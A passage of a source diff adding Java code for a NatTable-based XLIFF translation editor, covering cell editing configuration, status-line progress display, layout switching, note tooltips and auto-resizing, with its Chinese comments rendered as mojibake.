DisplayMode.NORMAL, + GridRegion.BODY); + // configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, new StyledTextPainter( + // table), DisplayMode.NORMAL, GridRegion.BODY); + configRegistry.registerConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, new TagDisplayConverter( + XLIFFEditorImplWithNatTable.this), DisplayMode.NORMAL, SOURCE_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, new TagDisplayConverter( + XLIFFEditorImplWithNatTable.this), DisplayMode.NORMAL, TARGET_EDIT_CELL_LABEL); + + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, + IEditableRule.ALWAYS_EDITABLE, DisplayMode.EDIT, SOURCE_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, + IEditableRule.ALWAYS_EDITABLE, DisplayMode.EDIT, TARGET_EDIT_CELL_LABEL); + + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITOR, new StyledTextCellEditor( + XLIFFEditorImplWithNatTable.this), DisplayMode.EDIT, SOURCE_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITOR, new StyledTextCellEditor( + XLIFFEditorImplWithNatTable.this), DisplayMode.EDIT, TARGET_EDIT_CELL_LABEL); + + // configRegistry.registerConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, new + // TagDisplayConverter( + // XLIFFEditorImplWithNatTable.this, innerTagUtil), DisplayMode.EDIT, EDIT_CELL_LABEL); + } + }; + } + + /* NatTable å¯ç¼–辑规则定制方法,将æ¥å¯èƒ½ä¼šç”¨åˆ°ï¼Œæš‚æ—¶ä¿ç•™ */ + // protected IEditableRule getEditRule(final IDataProvider dataProvider) { + // return new IEditableRule() { + // public boolean isEditable(int columnIndex, int rowIndex) { + // if (isHorizontalLayout) { + // return true; + // } else { + // return VerticalNatTableConfig.isTarget(columnIndex, rowIndex); + // } + // } + // }; + // } + + /** + * NatTable 全选的 Action。 + */ + // private Action tableSelectAllAction = new Action(IDEWorkbenchMessages.TextAction_selectAll) { + // public void runWithEvent(Event event) { + // if (table != null && !table.isDisposed()) { + // table.doCommand(new SelectAllCommand()); + // } + // }; + // }; + + @Override + public void setFocus() { + if (table != null && !table.isDisposed()) { + table.setFocus(); + } + setGlobalActionHandler(); // 设置全局的èœå•é¡¹ + + updateStatusLine(); // 更新状æ€æ æ˜¾ç¤ºä¿¡æ¯ + } + + /** + * 在状æ€æ ä¸Šæ˜¾ç¤ºè¢«ç¼–辑文件的信æ¯ã€‚ + */ + public void updateStatusLine() { + if (table == null || table.isDisposed()) { + return; + } + SelectionLayer selectionLayer = bodyLayer.getSelectionLayer(); + ViewportLayer viewportLayer = bodyLayer.getViewportLayer(); + PositionCoordinate cellPosition = selectionLayer.getLastSelectedCellPosition(); + if (cellPosition == null) { + return; + } + // int order = LayerUtil.convertRowPosition(selectionLayer, cellPosition.rowPosition, viewportLayer); + // Bug #2317:选中文本段åŽæŽ’åºï¼Œä¸ä¼šåˆ·æ–°çŠ¶æ€æ ä¸­çš„åºå· + int[] selectedRowPostions = selectionLayer.getFullySelectedRowPositions(); + if (selectedRowPostions.length <= 0) { + return; + } + + // 刷新选中行的术语,使其排åºåŽä¿æŒé«˜äº®æ˜¾ç¤º + // if (!isHorizontalLayout()) { + // int rowPosition = selectedRowPostions[0]; + // rowPosition *= VerticalNatTableConfig.ROW_SPAN; + // cellPosition.set(rowPosition, cellPosition.getColumnPosition()); + // } else { + // cellPosition.set(selectedRowPostions[0], cellPosition.getColumnPosition()); + // } + + // if (!FindReplaceDialog.isOpen) { + // CellRegion cellRegion = new CellRegion(cellPosition, new Region(0, selectionLayer.getWidth())); + // ActiveCellRegion.setActiveCellRegion(cellRegion); + // } + + int order = LayerUtil.convertRowPosition(selectionLayer, selectedRowPostions[0], viewportLayer); + order += viewportLayer.getOriginRowPosition() + 1; + + // 垂直布局时order需è¦è¿›è¡Œä¸¤è¡Œé€’å¢žçš„å¤„ç† + if (!isHorizontalLayout) { + order = (int) Math.ceil(order / 2.0); + } + + MessageFormat messageFormat = null; + if (order > 0) { + /* 一个Xliff文件,å¯èƒ½æœ‰å¤šä¸ªFile节点,这里使用File结点的original属性 */ + /* 当å‰æ–‡ä»¶ï¼š{0} | 顺åºå·:{1} | å¯è§æ–‡æœ¬æ®µæ•°:{2} | 文本段总数:{3} | 当å‰ç”¨æˆ·å" */ + messageFormat = new MessageFormat(Messages.getString("editor.XLIFFEditorImplWithNatTable.messageFormat1")); + } else { + messageFormat = new MessageFormat(Messages.getString("editor.XLIFFEditorImplWithNatTable.messageFormat2")); + } + String fileName = ""; + // 添加 Project Name + IEditorInput editorInput = getEditorInput(); + String filePath = ""; + if (isMultiFile()) { + if (getSelectedRowIds().size() > 0) { + filePath = RowIdUtil.getFileNameByRowId(getSelectedRowIds().get(0)); + fileName = ResourceUtils.toWorkspacePath(filePath); + } + } else { + fileName = getEditorInput().getName(); + if (editorInput instanceof FileEditorInput) { + FileEditorInput fileEditorInput = (FileEditorInput) editorInput; + filePath = fileEditorInput.getFile().getLocation().toOSString(); + fileName = fileEditorInput.getFile().getFullPath().toOSString(); + } + } + + String systemUser = Activator.getDefault().getPreferenceStore().getString(IPreferenceConstants.SYSTEM_USER); + int editableTuSum = handler.countEditableTransUnit(); + int tuSum = handler.countTransUnit(); + // int translatedSum1 = handler + // .getNodeCount(filePath, + // "/xliff/file/body/trans-unit[@approved = 'yes' and target/@state != 'translated' and target/@state != 'signed-off']"); + // int translatedSum2 = handler.getNodeCount(filePath, + // "/xliff/file/body/trans-unit/target[@state = 'translated' or @state = 'signed-off']"); + // int approveSum1 = handler.getNodeCount(filePath, + // "/xliff/file/body/trans-unit[not(@approved='yes') and target/@state='signed-off']"); + // int approveSum2 = handler.getNodeCount(filePath, "/xliff/file/body/trans-unit[@approved = 'yes']"); + int translatedSum = handler.getTranslatedCount(); + int approveedSum = handler.getApprovedCount(); + + int approveP = (int) Math.floor(approveedSum / (double) tuSum * 100.00); + int translatedP = (int) Math.floor(translatedSum / (double) tuSum * 100.00); + + translationItem.setProgressValue(translatedP); + approveItem.setProgressValue(approveP); + // 将信æ¯æ˜¾ç¤ºåœ¨çŠ¶æ€æ  + String message = messageFormat.format(new String[] { fileName, String.valueOf(order), + String.valueOf(editableTuSum), String.valueOf(tuSum), systemUser }); + statusLineManager.setMessage(statusLineImage, message); + } + + /** + * 设置状æ€æ ä¿¡æ¯ + * @param message + * 状æ€æ ä¿¡æ¯ ; + */ + public void setStatusLine(String message) { + getStatusLineManager().setMessage(message); + } + + /** + * 构建 NatTable çš„æ•°æ®æ供者 + * @param isHorizontalLayout + * true 为水平布局,false 为垂直布局。 + * @return æ•°æ®æ供者; + */ + private XliffEditorDataProvider setupBodyDataProvider(boolean isHorizontalLayout) { + XliffEditorDataProvider result = null; + if (isHorizontalLayout) { + result = setupHorizontalLayoutBodyDataProvider(); + } else { + result = setupVerticalLayoutBodyDataProvider(); + } + return result; + } + + /** + * 构建水平布局的 body data provider + * @return æ•°æ®æ供者; + */ + private XliffEditorDataProvider setupHorizontalLayoutBodyDataProvider() { + propertyToLabels = new HashMap(); + propertyToLabels.put("id", Messages.getString("editor.XLIFFEditorImplWithNatTable.idColumn")); + // Edit By Leakey 动æ€è®¾ç½®åˆ—å + propertyToLabels.put("srcContent", srcColumnName); + propertyToLabels.put("flag", Messages.getString("editor.XLIFFEditorImplWithNatTable.statusColumn")); + propertyToLabels.put("tgtContent", tgtColumnName); + + propertyToColWidths = new HashMap(); + propertyToColWidths.put("id", 45.0); // 大于1的值为åƒç´ å€¼ï¼Œå°äºŽç­‰äºŽ1的值为除了åƒç´ å€¼å‰©ä¸‹éƒ¨åˆ†çš„百分比(例如0.5,表示50%) + propertyToColWidths.put("srcContent", 0.5); + propertyToColWidths.put("flag", 85.0); + propertyToColWidths.put("tgtContent", 0.5); + + propertyNames = new String[] { "id", "srcContent", "flag", "tgtContent" }; + + // Edit by Leakey 在转æ¢å¸ƒå±€æ—¶éœ€è¦å°†ä¿®æ”¹è¿‡çš„值ä¿å­˜ä¸‹æ¥ + XliffEditorDataProvider dtProvider = new XliffEditorDataProvider(handler, + new ReflectiveColumnPropertyAccessor(propertyNames)); + return dtProvider; + } + + /** + * 构建垂直布局的 body data provider + * @param dataList2 + * æ•°æ®åˆ—表 ; + */ + private XliffEditorDataProvider setupVerticalLayoutBodyDataProvider() { + propertyToLabels = new HashMap(); + propertyToLabels.put("id", Messages.getString("editor.XLIFFEditorImplWithNatTable.idColumn")); + propertyToLabels.put("flag", Messages.getString("editor.XLIFFEditorImplWithNatTable.statusColumn")); + // Edit By Leakey 动æ€è®¾ç½®åˆ—å + propertyToLabels.put("properties", srcColumnName + Hyphen + tgtColumnName); + + propertyToColWidths = new HashMap(); + propertyToColWidths.put("id", 45.0); + propertyToColWidths.put("flag", 85.0); + propertyToColWidths.put("properties", 1.0); + + propertyNames = new String[] { "id", "flag", "properties" }; + + // Edit by Leakey 在转æ¢å¸ƒå±€æ—¶éœ€è¦å°†ä¿®æ”¹è¿‡çš„值ä¿å­˜ä¸‹æ¥ + VerticalLayerBodyDataProvider dtProvider = new VerticalLayerBodyDataProvider( + handler, new ReflectiveColumnPropertyAccessor(propertyNames)); + return dtProvider; + } + + /** + * 改å˜å½“å‰å¸ƒå±€ ; + */ + public void changeLayout() { + isHorizontalLayout = !isHorizontalLayout; + changeLayout(isHorizontalLayout); + // 刷新工具æ çš„改å˜å¸ƒå±€æŒ‰é’®çš„图片 + ICommandService commandService = (ICommandService) PlatformUI.getWorkbench().getService(ICommandService.class); + commandService.refreshElements("net.heartsome.cat.ts.ui.handlers.ChangeXliffEditorModelCommand", null); + } + + public void changeLayout(boolean isHorizontalLayout) { + this.isHorizontalLayout = isHorizontalLayout; // åŒæ­¥å¸ƒå±€çŠ¶æ€ + + // 如果当å‰çš„ table å·²ç»å­˜åœ¨ï¼Œé”€æ¯åŽå†é‡æ–°åˆ›å»ºã€‚ + if (table != null && !table.isDisposed()) { + table.dispose(); + for (Control control : parent.getChildren()) { + control.dispose(); + } + } + + // 构建 NatTable çš„æ•°æ®æ供者 + bodyDataProvider = setupBodyDataProvider(isHorizontalLayout); + + // 构建 NatTable 列头的数æ®æ供者 + DefaultColumnHeaderDataProvider colHeaderDataProvider = new DefaultColumnHeaderDataProvider(propertyNames, + propertyToLabels); + + // 构建 NatTable çš„ body layer stack + bodyLayer = new BodyLayerStack(bodyDataProvider, isHorizontalLayout); + + // 构建 NatTable çš„ column header layout stack + ColumnHeaderLayerStack columnHeaderLayer = new ColumnHeaderLayerStack(colHeaderDataProvider); + + // 构建 NatTable 之下的 composite layer,ä¸ä½¿ç”¨é»˜è®¤çš„ configuration(默认的 configuration 是在点击å¯ç¼–辑å•å…ƒæ ¼æ—¶ï¼Œç›´æŽ¥è¿›å…¥ç¼–辑状æ€ï¼‰ã€‚ + CompositeLayer compositeLayer = new CompositeLayer(1, 2); + compositeLayer.setChildLayer(GridRegion.COLUMN_HEADER, columnHeaderLayer, 0, 0); + compositeLayer.setChildLayer(GridRegion.BODY, bodyLayer, 0, 1); + + LayerUtil.setBodyLayerPosition(0, 1); // 标识 BodyLayer 在 CompositeLayer 上的ä½ç½® + + /* ç»™ composite layer 添加编辑相关的命令和 handler */ + // 添加行背景色(奇数行和å¶æ•°è¡Œä¸åŒï¼‰ + addRowBackgroundColor(compositeLayer); + + // 构建 NatTable + table = new NatTable(parent, compositeLayer, false); + table.removePaintListener(table); // 去除默认绘画器 + table.addPaintListener(paintListenerWithAutoRowSize); // 使用自定义绘画器,此绘画器,具有自动计算行高功能。 + + Listener[] ls = table.getListeners(SWT.Resize); + for (Listener l : ls) { + table.removeListener(SWT.Resize, l); + } + table.addListener(SWT.Resize, resizeListenerWithColumnResize); + table.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + // ActiveCellEditor.commit(); // 关闭编辑时,先æ交未æ交的å•å…ƒæ ¼ï¼Œé¿å…造æˆå†…容丢失。Bug #2685 + HsMultiActiveCellEditor.commit(true); + table.removeListener(SWT.Resize, resizeListenerWithColumnResize); + table.removePaintListener(paintListenerWithAutoRowSize); + } + }); + + table.setLayoutData(new GridData(GridData.FILL_BOTH)); + + // ç»™ NatTable 添加相应的é…ç½® + DefaultNatTableStyleConfiguration configuration = new DefaultNatTableStyleConfiguration(); + configuration.hAlign = HorizontalAlignmentEnum.LEFT; + table.addConfiguration(configuration); + + // To be changed ç»™NatTable添加选择列的功能 Add By Leakey + /* + * ColumnGroupModel columnGroupModel = new ColumnGroupModel(); DisplayColumnChooserCommandHandler + * columnChooserCommandHandler = new DisplayColumnChooserCommandHandler( bodyLayer.getSelectionLayer(), + * bodyLayer.getColumnHideShowLayer(), columnHeaderLayer.getColumnHeaderLayer(), + * columnHeaderLayer.getColumnHeaderDataLayer(), columnHeaderLayer.getColumnGroupHeaderLayer(), columnGroupModel + * ); bodyLayer.registerCommandHandler(columnChooserCommandHandler); + */ + + /* + * ä¸ä½¿ç”¨é»˜è®¤çš„表头èœå•ï¼Œä½¿ç”¨è‡ªå®šä¹‰çš„èœå•ï¼Œå› æ­¤è‡ªå®šä¹‰èœå•åœ¨ corner 中添加了相应的èœå•é¡¹ï¼Œæ‰€ä»¥éœ€è¦æŒ‡å®šè¿™äº›æ·»åŠ çš„ command åœ¨å“ªä¸€å±‚è¿›ä¸€å¤„ç† + */ + // 表头中添加自定义èœå•ä¼šå¼•å‘一些ä¸å¯é¢„料的问题,故先去掉 + // table.addConfiguration(new HeaderMenuConfiguration(table)); + + /* + * 增加表格的自定义å³é”®èœå• + */ + table.addConfiguration(new BodyMenuConfiguration(this)); + + // 注册列头点击监å¬ï¼ˆå¤„ç†æŽ’åºï¼‰ + table.addConfiguration(new SingleClickSortConfiguration()); + + /* + * åˆå§‹åŒ–“撤销/é‡åšâ€åŽ†å² + */ + initializeOperationHistory(); + table.setData(IUndoContext.class.getName(), undoContext); + + /* Weachy - 注册修改åŽä¿å­˜å†…容并自适应大å°çš„å¤„ç† handler(覆盖默认的handler:UpdateDataCommandHandler) */ + bodyLayer.getBodyDataLayer().registerCommandHandler( + new UpdateDataAndAutoResizeCommandHandler(table, bodyLayer.getBodyDataLayer())); + + /* Weachy - 注册当å‰æ˜¾ç¤ºè¡Œçš„è¡Œé«˜è‡ªé€‚åº”å¤„ç† handler */ + compositeLayer.registerCommandHandler(new AutoResizeCurrentRowsCommandHandler(compositeLayer)); + + /* Weachy - 移除系统默认的查找 handlerï¼Œæ·»åŠ è‡ªå®šä¹‰çš„æŸ¥æ‰¾æ›¿æ¢ handler */ + bodyLayer.getSelectionLayer().unregisterCommandHandler(SearchCommand.class); + bodyLayer.getSelectionLayer().registerCommandHandler( + new FindReplaceCommandHandler(bodyLayer.getSelectionLayer())); + + /* + * 下é¢ç»™ NatTable 添加å¯ç¼–辑å•å…ƒæ ¼çš„é…ç½® + */ + table.addConfiguration(editableGridConfiguration()); + + // æ·»åŠ æ ‡è®°çš„è‡ªå®šä¹‰æ˜¾ç¤ºæ ·å¼ + IConfigRegistry configRegistry = new ConfigRegistry(); + /* + * 如果是水平布局,则使用 ColumnOverrideLabelAccumulator 实现指定列都使用相åŒçš„显示样å¼ï¼›å¦åˆ™ä½¿ç”¨ CellOverrideLabelAccumulator 实现根æ®æ˜¾ç¤ºçš„内容æ¥æ˜¾ç¤ºæ ·å¼ã€‚ + */ + if (isHorizontalLayout) { + // 第一步:创建一个标签累加器,给需è¦ç»˜åˆ¶ä¼šä¸åŒæ•ˆæžœçš„ cells 添加自定义的标签。在这里是第三列的标签列。 + ColumnOverrideLabelAccumulator columnLabelAccumulator = new ColumnOverrideLabelAccumulator(bodyLayer); + columnLabelAccumulator.registerColumnOverrides(0, "LINENUMBER_CELL_LABEL"); + columnLabelAccumulator.registerColumnOverrides(1, SOURCE_EDIT_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(2, FLAG_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(3, TARGET_EDIT_CELL_LABEL); + + // 第二步:注册这个标签累加器。 + bodyLayer.setConfigLabelAccumulator(columnLabelAccumulator); + + // 第三步:把自定义的 cell painter,cell style 与自定义的标签进行关è”。 + addFlagLableToColumn(configRegistry); + addLineNumberToColumn(configRegistry); + } else { + ColumnOverrideLabelAccumulator columnLabelAccumulator = new ColumnOverrideLabelAccumulator(bodyLayer); + columnLabelAccumulator.registerColumnOverrides(0, "LINENUMBER_CELL_LABEL"); + columnLabelAccumulator.registerColumnOverrides(1, FLAG_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(VerticalNatTableConfig.TARGET_COL_INDEX, + SOURCE_EDIT_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(VerticalNatTableConfig.TARGET_COL_INDEX, + TARGET_EDIT_CELL_LABEL); + bodyLayer.setConfigLabelAccumulator(columnLabelAccumulator); + + // CellOverrideLabelAccumulator cellLabelAccumulator = new + // CellOverrideLabelAccumulator( + // (IRowDataProvider) bodyDataProvider); + // CellOverrideLabelAccumulator cellLabelAccumulator = new + // CellOverrideLabelAccumulator( + // (IRowDataProvider) bodyDataProvider); + // cellLabelAccumulator.registerOverride("flag", VerticalNatTableConfig.SOURCE_COL_INDEX, + // FOCUS_CELL_LABEL); + // + // bodyLayer.getBodyDataLayer().setConfigLabelAccumulator(cellLabelAccumulator); + + addFlagLableToColumn(configRegistry); + addLineNumberToColumn(configRegistry); + } + table.setConfigRegistry(configRegistry); + + // configure manually + table.configure(); + + /* Weachy - 垂直布局下,注册使键盘方å‘键以 2 行为一个å•ä½ç§»åŠ¨é€‰ä¸­è¡Œçš„å¤„ç† handler(覆盖默认的handler:MoveRowSelectionCommandHandler) */ + if (!isHorizontalLayout) { + // SelectionLayer selectionLayer = bodyLayer.getSelectionLayer(); + // selectionLayer.registerCommandHandler(new VerticalMoveRowSelectionCommandHandler(selectionLayer)); + } + + if (bodyLayer.selectionLayer.getRowCount() > 0) { + // 默认选中第一行 + HsMultiActiveCellEditor.commit(true); + bodyLayer.selectionLayer.doCommand(new SelectCellCommand(bodyLayer.getSelectionLayer(), + getTgtColumnIndex(), isHorizontalLayout ? 0 : 1, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(this); + } + + IWorkbenchPage page = getSite().getPage(); + IViewReference[] viewReferences = page.getViewReferences(); + IViewPart view; + for (int i = 0; i < viewReferences.length; i++) { + view = viewReferences[0].getView(false); + if (view == null) { + continue; + } + view.setFocus(); // 切æ¢åˆ°å…¶ä»–视图,å†åˆ‡æ¢å›žæ¥ï¼Œè§£å†³NatTable改å˜å¸ƒå±€åŽå…¶ä»–视图无法监å¬åˆ°çš„问题。 + break; + } + + // 改å˜å¸ƒå±€æ–¹å¼åŽï¼ŒæŠŠç„¦ç‚¹ç»™ NatTable + table.setFocus(); + + parent.layout(); + + NoteToolTip toolTip = new NoteToolTip(table); + toolTip.setPopupDelay(10); + toolTip.activate(); + toolTip.setShift(new Point(10, 10)); + + // 在状æ€æ ä¸Šæ˜¾ç¤ºå½“å‰æ–‡æœ¬æ®µçš„ä¿¡æ¯ã€‚ + updateStatusLine(); + } + + /** + * 鼠标放在批注图片上时显示批注的 Tooltip + * @author peason + * @version + * @since JDK1.6 + */ + class NoteToolTip extends DefaultToolTip { + + public Composite noteContent; + + public NoteToolTip(NatTable table) { + super(table, ToolTip.NO_RECREATE, true); + } + + protected Object getToolTipArea(Event event) { + int col = table.getColumnPositionByX(event.x); + int row = table.getRowPositionByY(event.y); + + return new Point(col, row); + } + + protected String getText(Event event) { + Image image = XliffEditorGUIHelper.getImage(ImageName.HAS_NOTE); + int columnPosition = table.getColumnPositionByX(event.x); + int rowPosition = table.getRowPositionByY(event.y); + LayerCell cell = table.getCellByPosition(columnPosition, rowPosition); + Rectangle imageBounds = image.getBounds(); + Rectangle cellBounds = cell.getBounds(); + int x = cellBounds.x + imageBounds.width * 3 + 20; + int y = cellBounds.y + + CellStyleUtil + .getVerticalAlignmentPadding(CellStyleUtil.getCellStyle(cell, table.getConfigRegistry()), + cellBounds, imageBounds.height); + String text = null; + XLIFFEditorImplWithNatTable xliffEditor = XLIFFEditorImplWithNatTable.getCurrent(); + if (columnPosition == xliffEditor.getStatusColumnIndex() && event.x >= x + && event.x <= (x + imageBounds.width) && event.y >= y && event.y <= (y + imageBounds.height)) { + Vector noteBeans = null; + try { + int rowIndex = table.getRowIndexByPosition(rowPosition); + if (!isHorizontalLayout) { + rowIndex = rowIndex / VerticalNatTableConfig.ROW_SPAN; + } + String rowId = xliffEditor.getXLFHandler().getRowId(rowIndex); + noteBeans = xliffEditor.getXLFHandler().getNotes(rowId); + } catch (NavException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (XPathParseException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (XPathEvalException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + if (noteBeans != null && noteBeans.size() > 0) { + Composite cmpContent = new Composite(parent, getStyle(event)); + cmpContent.setLayout(new GridLayout()); + cmpContent.setLayoutData(new GridData(GridData.FILL_BOTH)); + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < noteBeans.size(); i++) { + NoteBean bean = noteBeans.get(i); + String strNote = bean.getNoteText(); + if (noteBeans.size() > 1) { + sb.append((i + 1) + ". "); + } + if (strNote != null) { + strNote = TextUtil.resetSpecialString(strNote); + if (strNote.indexOf(":") != -1) { + sb.append(strNote.substring(strNote.indexOf(":") + 1)); + } else { + sb.append(strNote); + } + sb.append("\n"); + } + } + text = sb.toString(); + } + } + return text; + } + + @Override + protected boolean shouldCreateToolTip(Event event) { + boolean flag = super.shouldCreateToolTip(event); + if (!flag) { + return flag; + } + Image image = XliffEditorGUIHelper.getImage(ImageName.HAS_NOTE); + int columnPosition = table.getColumnPositionByX(event.x); + int rowPosition = table.getRowPositionByY(event.y); + LayerCell cell = table.getCellByPosition(columnPosition, rowPosition); + Rectangle imageBounds = image.getBounds(); + if (cell == null) { + return false; + } + Rectangle cellBounds = cell.getBounds(); + int x = cellBounds.x + imageBounds.width * 3 + 20; + int y = cellBounds.y + + CellStyleUtil + .getVerticalAlignmentPadding(CellStyleUtil.getCellStyle(cell, table.getConfigRegistry()), + cellBounds, imageBounds.height); + XLIFFEditorImplWithNatTable xliffEditor = XLIFFEditorImplWithNatTable.getCurrent(); + if (xliffEditor == null) { + return false; + } + if (columnPosition == xliffEditor.getStatusColumnIndex() && event.x >= x + && event.x <= (x + imageBounds.width) && event.y >= y && event.y <= (y + imageBounds.height)) { + Vector noteBeans = null; + try { + int rowIndex = table.getRowIndexByPosition(rowPosition); + if (!isHorizontalLayout) { + rowIndex = rowIndex / VerticalNatTableConfig.ROW_SPAN; + } + + String rowId = xliffEditor.getXLFHandler().getRowId(rowIndex); + noteBeans = xliffEditor.getXLFHandler().getNotes(rowId); + } catch (NavException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (XPathParseException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (XPathEvalException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + if (noteBeans != null && noteBeans.size() > 0) { + return true; + } + } + return false; + } + + } + + private Listener resizeListenerWithColumnResize = new Listener() { + public void handleEvent(Event event) { + NatTable table = (NatTable) event.widget; + if (table == null || table.isDisposed()) { + return; + } + table.doCommand(new ClientAreaResizeCommand(table)); + int clientAreaWidth = table.getClientArea().width; + if (clientAreaWidth <= 0) { + return; + } + int count = propertyNames.length; // 编辑器中的列数 + if (count <= 0) { + return; + } + + Collection hiddenColumnIndexes = bodyLayer.getColumnHideShowLayer().getHiddenColumnIndexes(); + + int shownColumnCount = count - hiddenColumnIndexes.size(); + int[] columnPositions = new int[shownColumnCount]; // 需è¦ä¿®æ”¹çš„列的列å·æ•°ç»„ + int[] columnWidths = new int[shownColumnCount]; // 需è¦ä¿®æ”¹çš„列对应的宽度 + double shownPercentage = 1; // 显示的百分比,原始为1ï¼ˆå³ 100%,表示所有列显示,åŽé¢è¦å‡åŽ»è¢«éšè—的列所å çš„百分比) + + for (int i = 0, j = 0; i < count; i++) { + double width = propertyToColWidths.get(propertyNames[i]); + if (!hiddenColumnIndexes.contains(i)) { // 如果没有被éšè— + columnPositions[j] = i; + if (width > 1) { // 如果指定的是åƒç´ å€¼ + columnWidths[j] = (int) width; + clientAreaWidth -= (int) width; // 从总宽度中除去明确指定åƒç´ çš„列宽 + } + j++; + } + if (hiddenColumnIndexes.contains(i) && width <= 1) { + shownPercentage -= width; + } + } + for (int i = 0, j = 0; i < count; i++) { + double width = propertyToColWidths.get(propertyNames[i]); + if (!hiddenColumnIndexes.contains(i)) { // 如果没有被éšè— + if (width <= 1) { // 如果指定的是百分比 + columnWidths[j] = (int) (clientAreaWidth * (width / shownPercentage)); // 按指定百分比计算åƒç´  + } + j++; + } + } + paintListenerWithAutoRowSize.resetArea(); + table.doCommand(new MultiColumnResizeCommand(bodyLayer.getBodyDataLayer(), columnPositions, columnWidths)); + + if (HsMultiActiveCellEditor.getSourceEditor() == null) { + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.this); + } + } + }; + + /** + * é‡ç»˜ç›‘å¬ï¼Œå¤„ç† NatTable 自适应大å°. + */ + class PaintListenerWithAutoRowSize implements PaintListener { + + // private Rectangle area = new Rectangle(-1, -1, -1, -1); + + private int columnCount = 0; + private List hasComputedRow = new ArrayList(); + private int currentRowPosition = -1; + + public void paintControl(PaintEvent e) { + ViewportLayer viewportLayer = bodyLayer.getViewportLayer(); + int rowPosition = viewportLayer.getOriginRowPosition() + 1; // 起始行 + if (currentRowPosition == -1 || currentRowPosition != rowPosition) { + currentRowPosition = rowPosition; + } + int rowCount = viewportLayer.getRowCount(); // 总行数 + List rowPositions = new ArrayList(); + for (int i = 0; i < rowCount; i++) { + int rowp = i + rowPosition; + if (!hasComputedRow.contains(rowp)) { + rowPositions.add(rowp); + hasComputedRow.add(rowp); + } + } + if (rowPositions.size() != 0) { + int[] temp = new int[rowPositions.size()]; + for (int i = 0; i < temp.length; i++) { + temp[i] = rowPositions.get(i); + } + table.doCommand(new AutoResizeCurrentRowsCommand(table, temp, table.getConfigRegistry())); + HsMultiActiveCellEditor.recalculateCellsBounds(); + HsMultiActiveCellEditor.synchronizeRowHeight(); + } + + // int width = parent.getClientArea().width; + // if (!new Rectangle(rowPosition, rowCount, width, 0).equals(area)) { + // area = new Rectangle(rowPosition, rowCount, width, 0); + // int[] rowPositions = new int[rowCount]; + // for (int j = 0; j < rowPositions.length; j++) { + // rowPositions[j] = j + rowPosition; + // } + // table.doCommand(new AutoResizeCurrentRowsCommand(table, rowPositions, table.getConfigRegistry(), e.gc)); + // } + + if (columnCount != table.getColumnCount()) { + columnCount = table.getColumnCount(); + table.notifyListeners(SWT.Resize, null); + } + table.getLayerPainter().paintLayer(table, e.gc, 0, 0, new Rectangle(e.x, e.y, e.width, e.height), + table.getConfigRegistry()); + } + + public void resetArea() { + // area = new Rectangle(-1, -1, -1, -1); + hasComputedRow.clear(); + } + + public void resetColumnCount() { + columnCount = 0; + } + } + + /** + * é‡ç»˜ç›‘å¬ï¼Œå¤„ç† NatTable 自适应大å°. + */ + private PaintListenerWithAutoRowSize paintListenerWithAutoRowSize = new PaintListenerWithAutoRowSize(); + + /** + * 自动调整 NatTable 行高; + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#autoResize() + */ + public void autoResize() { + if (table != null) { + paintListenerWithAutoRowSize.resetArea(); + // paintListenerWithAutoRowSize.resetColumnCount(); + table.redraw(); + } + } + + /** + * 自动调整 NatTable å¤§å° ï¼Œåªè°ƒæ•´è¡Œé«˜ã€‚ä¸è°ƒæ•´åˆ—宽 robert 2012-11-21 + */ + public void autoResizeNotColumn() { + if (table != null) { + paintListenerWithAutoRowSize.resetArea(); + table.redraw(); + } + } + + /** + * é…置标签列的显示效果 + * @param configRegistry + * é…置注册表 + */ + private void addFlagLableToColumn(IConfigRegistry configRegistry) { + // Edit by Leakey 实现状æ€å›¾ç‰‡çš„动æ€æ˜¾ç¤º + StatusPainter painter = new StatusPainter(bodyDataProvider); + // CellPainterDecorator flagPainter = new CellPainterDecorator(new BackgroundPainter(), CellEdgeEnum.RIGHT, + // painter); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, painter, DisplayMode.NORMAL, + FLAG_CELL_LABEL); + + // Set the color of the cell. This is picked up by the button painter to style the button + Style style = new Style(); + FontData fd = GUIHelper.DEFAULT_FONT.getFontData()[0]; + fd.setStyle(SWT.BOLD); + style.setAttributeValue(CellStyleAttributes.FONT, GUIHelper.getFont(fd)); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, style, DisplayMode.NORMAL, + FLAG_CELL_LABEL); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, style, DisplayMode.SELECT, + FLAG_CELL_LABEL); + } + + /** + * é…置行å·åˆ—的显示效果 + * @param configRegistry + * é…置注册表 + */ + private void addLineNumberToColumn(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, new LineNumberPainter(), + DisplayMode.NORMAL, "LINENUMBER_CELL_LABEL"); + Style style = new Style(); + style.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, HorizontalAlignmentEnum.CENTER); + style.setAttributeValue(CellStyleAttributes.FONT, GUIHelper.DEFAULT_FONT); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, style, DisplayMode.NORMAL, + 